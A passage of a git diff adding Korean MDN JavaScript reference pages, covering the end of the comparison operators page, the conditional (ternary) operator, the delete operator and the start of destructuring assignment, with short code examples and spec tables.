+ <li>숫자와 문자열을 비교할 땐 문자열을 숫자로 변환합니다. 우선, 문자열에서 수학적 값을 도출합니다. 그 후 가장 가까운 <code>Number</code> 자료형 값으로 반올림합니다.</li>
+ <li>하나의 연산자가 <code>Boolean</code>인 경우, <code>true</code>는 <code>1</code>, <code>false</code>는 <code>0</code>으로 변환합니다.</li>
+ <li>객체를 문자열이나 숫자와 비교하는 경우, JavaScript는 객체의 기본값을 사용합니다. 연산자는 우선 객체의 <code>valueOf()</code> 또는 <code>toString()</code> 메서드를 사용해 문자열 혹은 숫자 값을 받으려 시도합니다. 실패할 경우 런타임 오류가 발생합니다.</li>
+ <li>객체를 원시값과 비교하는 경우에만 객체의 변환이 발생합니다. 두 연산자가 모두 객체인 경우 변환하지 않으며, 둘 다 같은 객체를 참조하는 경우 참을 반환합니다.</li>
+</ul>
+
+<div class="note"><strong>참고:</strong> <code>String</code> 객체는 자료형 객체지, 문자열이 아닙니다! <code>String</code> 객체는 거의 쓰이지 않으며, 이런 성질로 인해 아래의 결과는 예상치 못한 값일 수 있습니다.</div>
+
+<pre class="brush:js">// true as both operands are type String (i.e. string primitives):
+'foo' === 'foo'
+
+var a = new String('foo');
+var b = new String('foo');
+
+// false as a and b are type Object and reference different objects
+a == b
+
+// false as a and b are type Object and reference different objects
+a === b
+
+// true as a and 'foo' are of different type and, the Object (a)
+// is converted to String 'foo' before comparison
+a == 'foo'</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Status</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-equality-operators', 'Equality Operators')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-relational-operators', 'Relational Operators')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.operators.comparison")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.is()")}}</li>
+ <li>{{jsxref("Math.sign()")}}</li>
+ <li><a href="/ko/docs/Web/JavaScript/Equality_comparisons_and_sameness">동치 비교와 동일성</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/conditional_operator/index.html b/files/ko/web/javascript/reference/operators/conditional_operator/index.html
new file mode 100644
index 0000000000..90f59ea4cd
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/conditional_operator/index.html
@@ -0,0 +1,193 @@
+---
+title: 삼항 조건 연산자
+slug: Web/JavaScript/Reference/Operators/Conditional_Operator
+tags:
+ - JavaScript
+ - Operator
+ - Reference
+translation_of: Web/JavaScript/Reference/Operators/Conditional_Operator
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>조건부 삼항 연산자</strong>는 JavaScript에서 세 개의 피연산자를 취할 수 있는 유일한 연산자입니다. 보통 <a href="/ko/docs/Web/JavaScript/Reference/Statements/if...else"><code>if</code></a> 명령문의 단축 형태로 쓰입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-conditionaloperators.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate"><em>condition</em> ? <em>exprIfTrue</em> : <em>exprIfFalse</em> </pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>condition</code></dt>
+ <dd>An expression whose value is used as a condition.</dd>
+ <dt><code>exprIfTrue</code></dt>
+ <dd>An expression which is evaluated if the <code>condition</code> evaluates to a {{Glossary("truthy")}} value (one which equals or can be converted to <code>true</code>).</dd>
+ <dt><code>exprIfFalse</code></dt>
+ <dd>An expression which is executed if the <code>condition</code> is {{Glossary("falsy")}} (that is, has a value which can be converted to <code>false</code>).</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><font face="Open Sans, Arial, sans-serif"><code>condition</code>이 </font><code>true</code>이면, 연산자는 <code>expr1</code>의 값을 반환하며, 반대의 경우 <code>expr2</code>를 반환한다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>여러분이 술을 마실수 있는지 확인할 수 있는 간단한 예제가 여기 있습니다.</p>
+
+<pre class="notranslate"><code>var age = 29;
+var canDrinkAlcohol = (age &gt; 19) ? "True, over 19" : "False, under 19";
+console.log(canDrinkAlcohol); // "True, over 19"</code>
+</pre>
+
+<p>isMember 변수의 값을 기준으로 다른 메시지를 보여주고자 한다면, 다음과 같이 표현할 수 있다.</p>
+
+<pre class="brush: js notranslate">"The fee is " + (isMember ? "$2.00" : "$10.00")
+</pre>
+
+<p>또한 다음과 같이 삼항(ternary)의 결과에 따라 변수를 할당할 수도 있다.</p>
+
+<pre class="brush: js notranslate">var elvisLives = Math.PI &gt; 4 ? "Yep" : "Nope";</pre>
+
+<p>다음의 예제처럼, 다중 삼항(ternary) 평가도 가능하다(주의: 조건 연산은 우측부터 그룹핑 됩니다.)</p>
+
+<pre class="brush: js notranslate">var firstCheck = false,
+ secondCheck = false,
+ access = firstCheck ? "Access denied" : secondCheck ? "Access denied" : "Access granted";
+
+console.log( access ); // logs "Access granted"</pre>
+
+<p>또한 다중 조건 IF 문과 같은 방식으로 여러개의 조건을 사용할 수도 있습니다.</p>
+
+<pre class="notranslate"><code>var condition1 = true,
+ condition2 = false,
+ access = condition1 ? (condition2 ? "true true": "true false") : (condition2 ? "false true" : "false false");
+
+console.log(access); // logs "true false"</code></pre>
+
+<p>참고 : 괄호는 필수는 아니며 기능에 영향을주지 않습니다. 결과가 어떻게 처리되는지 시각화하는 데 도움이됩니다.</p>
+
+<p>삼항(ternary) 평가는 다른 연산을 하기 위해 쓸 수도 있습니다.</p>
+
+<pre class="brush: js notranslate">var stop = false, age = 16;
+
+age &gt; 18 ? location.assign("continue.html") : stop = true;
+</pre>
+
+<p>하나의 케이스 당 둘 이상의 단일 작업을 수행하려면 쉼표로 구분하고 괄호로 묶으세요.</p>
+
+<pre class="brush: js notranslate">var stop = false, age = 23;
+
+age &gt; 18 ? (
+ alert("OK, you can go."),
+ location.assign("continue.html")
+) : (
+ stop = true,
+ alert("Sorry, you are much too young!")
+);
+</pre>
+
+<p>또한, 값을 할당하는 동안 하나 이상의 연산도 가능합니다. 이 경우에, 괄호 안의 값중 마지막 쉼표 (,) 다음의 값이 최종 할당 값이 됩니다.</p>
+
+<pre class="brush: js notranslate">var age = 16;
+
+var url = age &gt; 18 ? (
+ alert("OK, you can go."),
+ // alert returns "undefined", but it will be ignored because
+ // isn't the last comma-separated value of the parenthesis
+ "continue.html" // the value to be assigned if age &gt; 18
+) : (
+ alert("You are much too young!"),
+ alert("Sorry :-("),
+ // etc. etc.
+ "stop.html" // the value to be assigned if !(age &gt; 18)
+);
+
+location.assign(url); // "stop.html"</pre>
+
+
+
+<h3 id="삼항_연산자로_반환하기">삼항 연산자로 반환하기</h3>
+
+<p>삼항 연산자는 <code>if / else</code> 문을 사용하는 함수를 반환하는 데 적합합니다.</p>
+
+<pre class="notranslate"><code>var func1 = function( .. ) {
+ if (condition1) { return value1 }
+ else { return value2 }
+}
+
+var func2 = function( .. ) {
+ return condition1 ? value1 : value2
+}</code></pre>
+
+<p>다음과 같이 법적으로 술을 마실수 있는지 여부를 반환하는 함수를 만들수 있습니다.</p>
+
+<pre class="notranslate"><code>function canDrinkAlcohol(age) {
+ return (age &gt; 21) ? "True, over 21" : "False, under 21";
+}
+var output = canDrinkAlcohol(26);
+console.log(output); // "True, over 21"</code></pre>
+
+<p><code>if / else</code> 문을 대체하는 삼항연산자가 <code>return</code>을 여러 번 사용하고 if 블록 내부에서 한줄만 나올때 <code>return</code>을 대체 할 수 있는 좋은 방법이됩니다.</p>
+
+<p>삼항연산자를 여러 행으로 나누고 그 앞에 공백을 사용하면 긴 <code>if / else</code> 문을 매우 깔끔하게 만들 수 있습니다. 이것은 동일한 로직을 표현하지만 코드를 읽기 쉽게 만들어 줍니다.</p>
+
+<pre class="notranslate"><code>var func1 = function( .. ) {
+ if (condition1) { return value1 }
+ else if (condition2) { return value2 }
+ else if (condition3) { return value3 }
+ else { return value4 }
+}
+
+var func2 = function( .. ) {
+ return condition1 ? value1
+ : condition2 ? value2
+ : condition3 ? value3
+ : value4
+}</code>
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-conditional-operator', 'Conditional Operator')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-conditional-operator', 'Conditional Operator')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-11.12', 'The conditional operator')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1', '#sec-11.12', 'The conditional operator')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.operators.conditional")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Statements/if...else">if statement</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/delete/index.html b/files/ko/web/javascript/reference/operators/delete/index.html
new file mode 100644
index 0000000000..037c3bcd98
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/delete/index.html
@@ -0,0 +1,282 @@
+---
+title: delete 연산자
+slug: Web/JavaScript/Reference/Operators/delete
+tags:
+ - JavaScript
+ - Operator
+ - Property
+ - Reference
+translation_of: Web/JavaScript/Reference/Operators/delete
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong><code>delete</code></strong> <strong>연산자</strong>는 객체의 속성을 제거합니다. 제거한 객체의 참조를 어디에서도 사용하지 않는다면 나중에 자원을 회수합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-deleteoperator.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">delete <em>expression</em> </pre>
+
+<p><code>expression</code>은 속성 참조여야 합니다. 예컨대,</p>
+
+<pre class="syntaxbox">delete <em>object.property</em>
+delete <em>object</em>['<em>property</em>']
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>object</code></dt>
+ <dd>객체의 이름, 또는 평가했을 때 객체를 반환하는 표현식.</dd>
+ <dt><code>property</code></dt>
+ <dd>제거하려는 속성.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><code>true</code>. 단, 비엄격 모드에서 속성이 {{jsxref("Object.prototype.hasOwnProperty", "자신의 속성", "", 0)}}이며 <a href="/ko/docs/Web/JavaScript/Reference/Errors/Cant_delete">설정 불가능</a>한 경우 <code>false</code>.</p>
+
+<h3 id="예외">예외</h3>
+
+<p>엄격 모드에서, 속성이 자신의 속성이며 설정 불가능한 경우 {{jsxref("TypeError")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>일반적으로 생각하고 있는것과는 다르게 <code>delete</code> 는 메모리 해제에 관하여 직접적으로 어떠한 작업도 하지 않습니다. 메모리 관리는 breaking references를 통하여 간접적으로 일어납니다. 자세한 걸 알고 싶다면 <a href="/en-US/docs/Web/JavaScript/Memory_Management">memory management</a> 를 보세요.</p>
+
+<p><code><strong>delete</strong></code>연산자는 오브젝트로 부터 해당 프로퍼티를 삭제합니다. 삭제를 하면 true를 반환, 아니면 false를 반환합니다. 그렇지만 아래 경우를 고려해야만 합니다. </p>
+
+<ul>
+ <li>만약 존재하지 않는 속성을 삭제하려고 하면 delete는 어떠한 작업도 없이 true를 반환합니다.</li>
+ <li>오브젝트의 프로토타입 체인에 같은 이름의 속성이 있다면, 삭제 후에,  오브젝트의 프로토타입체인을 통해 프로퍼티를 사용 할 수 있습니다. (즉, <code>delete</code>는 오직 자신의 프로퍼티만 삭제 합니다.</li>
+ <li>{{jsxref("Statements/var","var")}}로 선언된 어떠한 프로퍼티라도 글로벌 스코프나 펑션 스코프로부터 삭제될 수 없습니다.
+ <ul>
+ <li>결국, <code>delete</code>는 글로벌 스코프의 어떤 함수도 삭제 할 수 없습니다. (함수 정의식이건 함수 표현식이건 삭제 불가)</li>
+ <li>오브젝트의 속성으로 있는 함수인 경우(글로벌 스코프를 제외하고)는 <code>delete</code>로 삭제할 수 있습니다.</li>
+ </ul>
+ </li>
+ <li>{{jsxref("Statements/let","let")}}과 {{jsxref("Statements/const","const")}}로 선언한 속성은 어느 스코프에 정의되어 있건 삭제 할 수 없습니다.</li>
+ <li>Non-configurable 속성은 삭제 할 수 없습니다. 이것은  {{jsxref("Math")}}, {{jsxref("Array")}}, {{jsxref("Object")}}와 같은 built-in objects의 속성들이나 {{jsxref("Object.defineProperty()")}} 같은 메소드로 만든 non-configurable속성들을 포함합니다.</li>
+</ul>
+
+<p>간단한 예제입니다.</p>
+
+<pre class="brush: js">var Employee = {
+  age: 28,
+ name: 'abc',
+ designation: 'developer'
+}
+
+console.log(delete Employee.name); // returns true
+console.log(delete Employee.age); // returns true
+
+// 존재하지 않는 속성을 삭제하려하면
+// true를 리턴합니다.
+console.log(delete Employee.salary); // returns true
+</pre>
+
+<h3 id="설정_불가능한_속성">설정 불가능한 속성</h3>
+
+<p>non-configurable 속성은 <code>delete</code>로 삭제할 수 없으며, <code>false</code>를 반환할 것입니다(*strict mode에서는 <code>SyntaxError</code>를 발생시킴).</p>
+
+<pre class="brush: js">var Employee = {};
+Object.defineProperty(Employee, 'name', {configurable: false});
+
+console.log(delete Employee.name); // returns false
+</pre>
+
+<p>{{jsxref("Statements/var","var")}}, {{jsxref("Statements/let","let")}}, {{jsxref("Statements/const","const")}}로 선언된 변수는 non-configurable 속성으로 구분되며, <code>delete</code>로 삭제될 수 없습니다.</p>
+
+<pre class="brush: js">var nameOther = 'XYZ';
+
+// 우리는 이를 사용해 글로벌 속성에 접근 할 수 있습니다:
+Object.getOwnPropertyDescriptor(window, 'nameOther');
+
+// output: Object { value: "XYZ",
+// writable: true,
+// enumerable: true,
+// <strong>configurable: false </strong>}
+
+// "nameOther"은 var로 선언되었기 때문에
+// 이는 "non-configurable" 속성으로 구분됩니다.
+
+delete nameOther; // return false</pre>
+
+<p>strict mode, this would have raised an exception.</p>
+
+<h3 id="엄격_vs._비엄격_모드">엄격 vs. 비엄격 모드</h3>
+
+<p>엄격 모드에서 <code>delete</code>로 변수나 함수를 삭제하려고 하면 {{jsxref("SyntaxError")}}가 발생합니다. </p>
+
+<p><code>var</code>로 정의된 변수는 non-configurable로 구분됩니다. 다음 예제에서, <code>salary</code>는 non-configurable이며 삭제될 수 없습니다. non-strict mode에서 non-configurable에 <code>delete</code>를 쓰면 <code>false</code>를 반환합니다.</p>
+
+<pre class="brush: js">function Employee() {
+ delete salary;
+ var salary;
+}
+
+Employee();
+</pre>
+
+<p>그러나 strict mode에서는 <code>false</code>를 반환하는 대신, <code>SyntaxError</code>를 발생시킵니다.</p>
+
+<pre class="brush: js">"use strict";
+
+function Employee() {
+  delete salary; // SyntaxError
+  var salary;
+}
+
+// 이와 마찬가지로, delete로 함수를 삭제하는 것도
+// SyntaxError를 발생시킵니다.
+
+function DemoFunction() {
+ //some code
+}
+
+delete DemoFunction; // SyntaxError
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">// 전역스코프에 adminName라는 프로퍼티를 만듭니다.
+adminName = 'xyz';
+
+// 전역스코프에 empCount라는 프로퍼티를 만듭니다.
+// var를 사용해서 선언했으므로, 이는 non-configurable로 구분됩니다.
+// let 이나 const를 사용하더라도 마찬가지로 non-configurable 입니다.
+var empCount = 43;
+
+EmployeeDetails = {
+ name: 'xyz',
+ age: 5,
+ designation: 'Developer'
+};
+
+// adminName은 전역변수입니다.
+// 이는 var를 사용하여 선언되지 않았기에 configurable하며 delete로 삭제될 수 있습니다.
+delete adminName; // returns true
+
+// 이와 반대로, empCount는 var를 사용하였기에 non-configurable이며
+// 그러므로 delete로 삭제할 수 없습니다.
+delete empCount; // returns false
+
+// delete는 객체의 프로퍼티를 지울 때 사용됩니다.
+delete EmployeeDetails.name; // returns true
+
+// 해당 프로퍼티가 존재하지 않는 상황에서도 "true"를 리턴합니다.
+delete EmployeeDetails.salary; // returns true
+
+// 내장되어있는 정적 프로퍼티에는 delete가 영향을 미치지 않습니다.
+delete Math.PI; // returns false
+
+// EmployeeDetails 은 전역스코프의 프로퍼티 입니다.
+// "var"를 사용하지 않고 선언되었기 때문에 이는 configurable입니다.
+delete EmployeeDetails; // returns true
+
+function f() {
+ var z = 44;
+
+ // 지역변수에는 delete가 영향을 미치지 않습니다.
+ delete z; // returns false
+}</pre>
+
+<h3 id="delete와_프로토타입_체인"><code>delete</code>와 프로토타입 체인</h3>
+
+<p>In the following example, we delete an own property of an object while a property with the same name is available on the prototype chain:</p>
+
+<pre class="brush: js">function Foo() {
+ this.bar = 10;
+}
+
+Foo.prototype.bar = 42;
+
+var foo = new Foo();
+
+// Returns true, since the own property
+// has been deleted on the foo object
+delete foo.bar;
+
+// foo.bar is still available, since it
+// is available in the prototype chain.
+console.log(foo.bar);
+
+// We delete the property on the prototype
+delete Foo.prototype.bar;
+
+// logs "undefined" since the property
+// is no longer inherited
+console.log(foo.bar); </pre>
+
+<h3 id="객체_요소_제거하기">객체 요소 제거하기</h3>
+
+<p>When you delete an array element, the array length is not affected. This holds even if you delete the last element of the array.</p>
+
+<p>When the <code>delete</code> operator removes an array element, that element is no longer in the array. In the following example, <code>trees[3]</code> is removed with <code>delete</code>.</p>
+
+<pre class="brush: js">var trees = ['redwood', 'bay', 'cedar', 'oak', 'maple'];
+delete trees[3];
+if (3 in trees) {
+ // this does not get executed
+}</pre>
+
+<p>If you want an array element to exist but have an undefined value, use the <code>undefined</code> value instead of the <code>delete</code> operator. In the following example, <code>trees[3]</code> is assigned the value undefined, but the array element still exists:</p>
+
+<pre class="brush: js">var trees = ['redwood', 'bay', 'cedar', 'oak', 'maple'];
+trees[3] = undefined;
+if (3 in trees) {
+ // this gets executed
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-delete-operator', 'The delete Operator')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-delete-operator', 'The delete Operator')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-11.4.1', 'The delete Operator')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1', '#sec-11.4.1', 'The delete Operator')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.2.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div id="compat-mobile">{{Compat("javascript.operators.delete")}}</div>
+
+<h2 id="크로스_브라우저_참고사항">크로스 브라우저 참고사항</h2>
+
+<p>Although ECMAScript makes iteration order of objects implementation-dependent, it may appear that all major browsers support an iteration order based on the earliest added property coming first (at least for properties not on the prototype). However, in the case of Internet Explorer, when one uses <code>delete</code> on a property, some confusing behavior results, preventing other browsers from using simple objects like object literals as ordered associative arrays. In Explorer, while the property <em>value</em> is indeed set to undefined, if one later adds back a property with the same name, the property will be iterated in its <em>old</em> position--not at the end of the iteration sequence as one might expect after having deleted the property and then added it back.</p>
+
+<p>If you want to use an ordered associative array in a cross-browser environment, use a {{jsxref("Map")}} object if available, or simulate this structure with two separate arrays (one for the keys and the other for the values), or build an array of single-property objects, etc.</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="http://perfectionkills.com/understanding-delete/">In depth analysis on delete</a></li>
+ <li>{{jsxref("Reflect.deleteProperty()")}}</li>
+ <li>{{jsxref("Map.prototype.delete()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/destructuring_assignment/index.html b/files/ko/web/javascript/reference/operators/destructuring_assignment/index.html
new file mode 100644
index 0000000000..d078e94c38
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/destructuring_assignment/index.html
@@ -0,0 +1,409 @@
+---
+title: 구조 분해 할당
+slug: Web/JavaScript/Reference/Operators/Destructuring_assignment
+tags:
+ - Destructuring
+ - ECMAScript 2015
+ - JavaScript
+ - Operator
+ - Reference
+ - 구조 분해
+translation_of: Web/JavaScript/Reference/Operators/Destructuring_assignment
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>구조 분해 할당</strong> 구문은 배열이나 객체의 속성을 해체하여 그 값을 개별 변수에 담을 수 있게 하는 JavaScript 표현식입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-destructuringassignment.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: js">var a, b, rest;
+[a, b] = [10, 20];
+console.log(a); // 10
+console.log(b); // 20
+
+[a, b, ...rest] = [10, 20, 30, 40, 50];
+console.log(a); // 10
+console.log(b); // 20
+console.log(rest); // [30, 40, 50]
+
+({ a, b } = { a: 10, b: 20 });
+console.log(a); // 10
+console.log(b); // 20
+
+
+// Stage 4(finished) proposal
+({a, b, ...rest} = {a: 10, b: 20, c: 30, d: 40});
+console.log(a); // 10
+console.log(b); // 20
+console.log(rest); // {c: 30, d: 40}
+</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>객체 및 배열 리터럴 표현식을 사용하면 즉석에서 쉽게 데이터 뭉치를 만들 수 있습니다.</p>
+
+<pre class="brush: js">var x = [1, 2, 3, 4, 5];</pre>
+
+<p>구조 분해 할당의 구문은 위와 비슷하지만, 대신 할당문의 좌변에서 사용하여, 원래 변수에서 어떤 값을 분해해 할당할지 정의합니다.</p>
+
+<pre class="brush: js">var x = [1, 2, 3, 4, 5];
+var [y, z] = x;
+console.log(y); // 1
+console.log(z); // 2
+</pre>
+
+<p>구조 분해 할당은 Perl이나 Python 등 다른 언어가 가지고 있는 기능입니다.</p>
+
+<h2 id="배열_구조_분해">배열 구조 분해</h2>
+
+<h3 id="기본_변수_할당">기본 변수 할당</h3>
+
+<pre class="brush: js">var foo = ["one", "two", "three"];
+
+var [one, two, three] = foo;
+console.log(one); // "one"
+console.log(two); // "two"
+console.log(three); // "three"
+</pre>
+
+<h3 id="선언에서_분리한_할당">선언에서 분리한 할당</h3>
+
+<p>변수의 선언이 분리되어도 구조 분해를 통해 값을 할당할 수 있습니다.</p>
+
+<pre class="brush:js">var a, b;
+
+[a, b] = [1, 2];
+console.log(a); // 1
+console.log(b); // 2
+</pre>
+
+<h3 id="기본값">기본값</h3>
+
+<p>변수에 기본값을 할당하면, 분해한 값이 {{jsxref("undefined")}}일 때 그 값을 대신 사용합니다.</p>
+
+<pre class="brush: js">var a, b;
+
+[a=5, b=7] = [1];
+console.log(a); // 1
+console.log(b); // 7
+</pre>
+
+<h3 id="변수_값_교환하기">변수 값 교환하기</h3>
+
+<p>하나의 구조 분해 표현식만으로 두 변수의 값을 교환할 수 있습니다.</p>
+
+<p>구조 분해 할당 없이 두 값을 교환하려면 임시 변수가 필요합니다. (일부 로우 레벨 언어에서는 <a class="external" href="http://en.wikipedia.org/wiki/XOR_swap">XOR 교체 트릭</a>을 사용할 수 있습니다)</p>
+
+<pre class="brush:js">var a = 1;
+var b = 3;
+
+[a, b] = [b, a];
+console.log(a); // 3
+console.log(b); // 1
+</pre>
+
+<h3 id="함수가_반환한_배열_분석">함수가 반환한 배열 분석</h3>
+
+<p>함수는 이전부터 배열을 반환할 수 있었습니다. 구조 분해를 사용하면 반환된 배열에 대한 작업을 더 간결하게 수행할 수 있습니다.</p>
+
+<p>아래 예제에서 <code>f()</code>는 출력으로 배열 <code>[1, 2]</code>을 반환하는데, 하나의 구조 분해만으로 값을 분석할 수 있습니다.</p>
+
+<pre class="brush:js">function f() {
+ return [1, 2];
+}
+
+var a, b;
+[a, b] = f();
+console.log(a); // 1
+console.log(b); // 2
+</pre>
+
+<h3 id="일부_반환_값_무시하기">일부 반환 값 무시하기</h3>
+
+<p>다음과 같이 필요하지 않은 반환 값을 무시할 수 있습니다.</p>
+
+<pre class="brush:js">function f() {
+ return [1, 2, 3];
+}
+
+var [a, , b] = f();
+console.log(a); // 1
+console.log(b); // 3
+</pre>
+
+<p>반환 값을 모두 무시할 수도 있습니다.</p>
+
+<pre class="brush:js">[,,] = f();
+</pre>
+
+<h3 id="변수에_배열의_나머지를_할당하기">변수에 배열의 나머지를 할당하기</h3>
+
+<p>배열을 구조 분해할 경우, 나머지 구문을 이용해 분해하고 남은 부분을 하나의 변수에 할당할 수 있습니다.</p>
+
+<pre class="brush: js">var [a, ...b] = [1, 2, 3];
+console.log(a); // 1
+console.log(b); // [2, 3]
+</pre>
+
+<p>나머지 요소의 오른쪽 뒤에 쉼표가 있으면 {{jsxref("SyntaxError")}}가 발생합니다.</p>
+
+<pre class="brush: js example-bad">var [a, ...b,] = [1, 2, 3];
+// SyntaxError: rest element may not have a trailing comma
+</pre>
+
+<h3 id="정규_표현식과_일치하는_값_해체하기">정규 표현식과 일치하는 값 해체하기</h3>
+
+<p>정규 표현식의 <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/RegExp/exec"> exec()</a></code> 메서드는 일치하는 부분를 찾으면 그 문자열에서 정규식과 일치하는 부분 전체를 배열의 맨 앞에, 그리고 그 뒤에 정규식에서 괄호로 묶인 각 그룹과 일치하는 부분을 포함하는 배열을 반환합니다. 구조 분해 할당은 필요하지 않은 경우 일치하는 전체 부분은 무시하고 필요한 부분만 쉽게 빼올 수 있습니다.</p>
+
+<pre class="brush: js">function parseProtocol(url) {
+ var parsedURL = /^(\w+)\:\/\/([^\/]+)\/(.*)$/.exec(url);
+ if (!parsedURL) {
+ return false;
+ }
+ console.log(parsedURL); // ["https://developer.mozilla.org/en-US/Web/JavaScript", "https", "developer.mozilla.org", "en-US/Web/JavaScript"]
+
+ var [, protocol, fullhost, fullpath] = parsedURL;
+ return protocol;
+}
+
+console.log(parseProtocol('https://developer.mozilla.org/en-US/Web/JavaScript')); // "https"</pre>
+
+<h2 id="객체_구조_분해">객체 구조 분해</h2>
+
+<h3 id="기본_할당">기본 할당</h3>
+
+<pre class="brush: js">var o = {p: 42, q: true};
+var {p, q} = o;
+
+console.log(p); // 42
+console.log(q); // true
+</pre>
+
+<h3 id="선언_없는_할당">선언 없는 할당</h3>
+
+<p>구조 분해를 통해 변수의 선언과 분리하여 변수에 값을 할당할 수 있습니다.</p>
+
+<pre class="brush:js">var a, b;
+
+({a, b} = {a: 1, b: 2});</pre>
+
+<div class="note">
+<p><strong>참고</strong>: 할당 문을 둘러싼 <code>( .. )</code>는 선언 없이 객체 리터럴(object literal) 비구조화 할당을 사용할 때 필요한 구문입니다.</p>
+
+<p><code>{a, b} = {a:1, b:2}</code>는 유효한 독립 구문이 아닙니다. 좌변의 <code>{a, b}</code>이 객체 리터럴이 아닌 블록으로 간주되기 때문입니다.</p>
+
+<p>하지만, <code>({a, b} = {a:1, b:2})</code>는 유효한데, <code>var {a, b} = {a:1, b:2}</code>와 같습니다.</p>
+
+<p><code>( .. )</code> 표현식 앞에는 세미콜론이 있어야 합니다. 그렇지 않을 경우 이전 줄과 연결되어 함수를 실행하는데 이용될 수 있습니다.</p>
+</div>
+
+<h3 id="새로운_변수_이름으로_할당하기">새로운 변수 이름으로 할당하기</h3>
+
+<p>객체로부터 속성을 해체하여 객체의 원래 속성명과는 다른 이름의 변수에 할당할 수 있습니다.</p>
+
+<pre class="brush: js">var o = {p: 42, q: true};
+var {p: foo, q: bar} = o;
+
+console.log(foo); // 42
+console.log(bar); // true</pre>
+
+<h3 id="기본값_2">기본값</h3>
+
+<p>객체로부터 해체된 값이 <code>undefined</code>인 경우, 변수에 기본값을 할당할 수 있습니다.</p>
+
+<pre class="brush: js">var {a = 10, b = 5} = {a: 3};
+
+console.log(a); // 3
+console.log(b); // 5</pre>
+
+<h3 id="기본값_갖는_새로운_이름의_변수에_할당하기">기본값 갖는 새로운 이름의 변수에 할당하기</h3>
+
+<p>새로운 변수명 할당과 기본값 할당을 한번에 할 수 있습니다.</p>
+
+<pre class="brush: js">var {a: aa = 10, b: bb = 5} = {a: 3};
+
+console.log(aa); // 3
+console.log(bb); // 5
+</pre>
+
+<h3 id="함수_매개변수의_기본값_설정하기">함수 매개변수의 기본값 설정하기</h3>
+
+<h4 id="ES5_버전">ES5 버전</h4>
+
+<pre class="brush: js">function drawES5Chart(options) {
+ options = options === undefined ? {} : options;
+ var size = options.size === undefined ? 'big' : options.size;
+ var cords = options.cords === undefined ? { x: 0, y: 0 } : options.cords;
+ var radius = options.radius === undefined ? 25 : options.radius;
+ console.log(size, cords, radius);
+ // 이제 드디어 차트 그리기 수행
+}
+
+drawES5Chart({
+ cords: { x: 18, y: 30 },
+ radius: 30
+});</pre>
+
+<h4 id="ES2015_버전">ES2015 버전</h4>
+
+<pre class="brush: js">function drawES2015Chart({size = 'big', cords = { x: 0, y: 0 }, radius = 25} = {}) {
+ console.log(size, cords, radius);
+ // 차트 그리기 수행
